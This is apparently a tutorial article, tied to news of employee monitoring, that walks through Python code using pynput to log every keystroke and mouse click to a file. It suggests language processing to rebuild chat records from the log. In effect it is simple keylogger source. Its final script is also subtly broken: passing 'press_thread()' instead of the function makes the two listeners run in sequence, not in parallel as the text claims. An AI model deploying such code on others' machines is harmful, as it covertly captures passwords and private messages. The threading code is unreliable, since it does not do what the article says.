After the monitoring of fishing activities such as playing games and watching videos, now the tendency of workers to leave the company will also be monitored. Recently some netizens said that their company has installed a behavioral sensing system, which can know in advance employees’ intentions to change jobs.
For a time, there were endless discussions about "it's too difficult to work as a worker" and "no privacy at all".
Some friends asked: Is this kind of monitoring technically feasible? Is it complicated? Today I will show you how to use a few lines of Python code to monitor the operations on your computer.
If the company secretly runs a background process on our computer to monitor our keyboard events, the simplest python writing method is roughly like this:
from pynput import keyboard def on_press(key): print(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join()
Tap the keyboard at will, and you will see this output from the console:
The content of the code is two methods, one is to listen for key events, and the other is Listen for exit events - press ESC
and release to exit.
If you still want to monitor mouse events, then just add this code:
from pynput import mouse def on_click(x, y, button, pressed): if button == mouse.Button.left: print('left was pressed!') elif button == mouse.Button.right: print('right was pressed!') return False else: print('mid was pressed!') # 定义鼠标监听线程 with mouse.Listener(on_click=on_click) as listener: listener.join()
This code is mainly to monitor the left and right click operations of the mouse. Run After operating the mouse, you can see the following results printed on the console:
If you are careful, you will definitely find that each click event is printed twice. This is because both pressing and releasing trigger mouse events.
Now that there are keyboard events and mouse events, it’s time to combine the two and record user operations in the log. Here we use the loguru module to record logs.
The entire code is as follows:
from pynput import keyboard, mouse from loguru import logger from threading import Thread # 定义日志文件 logger.add('moyu.log') def on_press(key): logger.debug(f'{key} :pushed') def on_release(key): if key == keyboard.Key.esc: return False # 定义键盘监听线程 def press_thread(): with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn: lsn.join() def on_click(x, y, button, pressed): if button == mouse.Button.left: logger.debug('left was pressed!') elif button == mouse.Button.right: logger.debug('right was pressed!') else: return False # 定义鼠标监听线程 def click_thread(): with mouse.Listener(on_click=on_click) as listener: listener.join() if __name__ == '__main__': # 起两个线程分别监控键盘和鼠标 t1 = Thread(target=press_thread()) t2 = Thread(target=click_thread()) t1.start() t2.start()
After running, you can see the following content in the log file in the same directory:
This article mainly uses the python module pynput
to demonstrate how to record keyboard and mouse operations. These simple lines of code are feasible for simple input monitoring, but for complex statements such as chat records, you still need to use NLTK language processing for the logs to restore your chat records.
Of course, we are only discussing the technical feasibility here. Please do not do anything that damages the privacy of others. Besides, with this code alone, others will notice at a glance that there is a program recording operations...
The above is the detailed content of Write a computer monitoring program in Python. For more information, please follow other related articles on the PHP Chinese website!